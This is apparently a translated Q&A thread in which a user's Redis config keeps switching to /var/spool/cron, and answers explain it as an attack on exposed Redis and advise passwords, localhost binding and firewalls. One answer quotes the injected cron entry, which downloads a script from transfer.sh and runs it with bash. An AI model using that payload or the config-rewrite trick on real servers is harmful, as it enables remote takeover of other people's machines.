Конфигурационный каталог Redis периодически изменяется на /var/spool/cron с ошибкой открытия .rdb для сохранения: ошибка отказа в доступе

Я настроил свой сервер redis так, чтобы CONFIG GET dir --> "/var/lib/redis" и CONFIG GET dbfilename --> "redis.rdb".

Однако после того, как мой сервер проработал несколько часов или несколько дней, я начинаю получать ошибку "Failed opening .rdb for saving: Permission denied".

Если я снова сделаю CONFIG GET dir --> "/var/spool/cron" и CONFIG GET dbfilename --> "root". Я пытался искать повсюду какое-то понимание того, что происходит, но безрезультатно.

Если я просто перезапущу свой redis-сервер, то конфигурация снова сбрасывается на исходные настройки, которые я установил в файле «redis.conf».


person andy_roddam    schedule 27.01.2017    source источник
comment
Похоже, кто-то пытается атаковать ваш сервер. Поставьте хотя бы пароль.   -  person Itamar Haber    schedule 27.01.2017
comment
@ItamarHaber считает, что вы можете быть правы.   -  person andy_roddam    schedule 01.02.2017
comment
Извините, вам следует подумать о том, чтобы сжечь сервер и начать заново   -  person Itamar Haber    schedule 01.02.2017


Ответы (3)


Это действительно атака. Если вы проверите свои ключи Redis после того, как это произойдет, вы увидите несколько «строковых» ключей, таких как: «Резервная копия1», «Резервная копия2», «Резервная копия3».

Их значение будет примерно таким:

"\t\n*/2 * * * * curl -s https://transfer.sh/QMvW6/tmp.M8pAEgBA6T > .cmd && bash .cmd\n\t"

Это предназначено для изменения вашего crontab.

Суть в том, что порт Redis не должен быть открыт для всего мира.

person igorl    schedule 13.06.2018
comment
Просто стал жертвой этой атаки. Оказывается, я установил DMZ на своем маршрутизаторе на IP-адрес моей машины... Спасибо! - person Mario Tacke; 16.06.2018
comment
Я получаю именно это только через несколько часов после запуска нового экземпляра и забыл сначала установить брандмауэр! Сервер Redis находится внутри док-контейнера. Что мне делать, кроме как пытаться воссоздать экземпляр заново? - person Thắng Trần Xuân; 21.08.2020

Похоже, это может быть просто проблема безопасности. Из коробки redis доступен с любых IP-адресов. В качестве простого первого шага, чтобы убедиться, что это проблема безопасности, как предложил @ItamarHaber, я просто привязал сервер Redis к локальному хосту, и теперь проблема, кажется, разрешилась сама собой. В этом мне помогла отличная статья. Несколько фактов о безопасности Redis

person andy_roddam    schedule 01.02.2017

это можно решить, перезапустив виртуальную машину, включив брандмауэр UFW, разрешив доступ тем IP-адресам, которые авторизованы.

person Jivaji Ihare    schedule 25.09.2019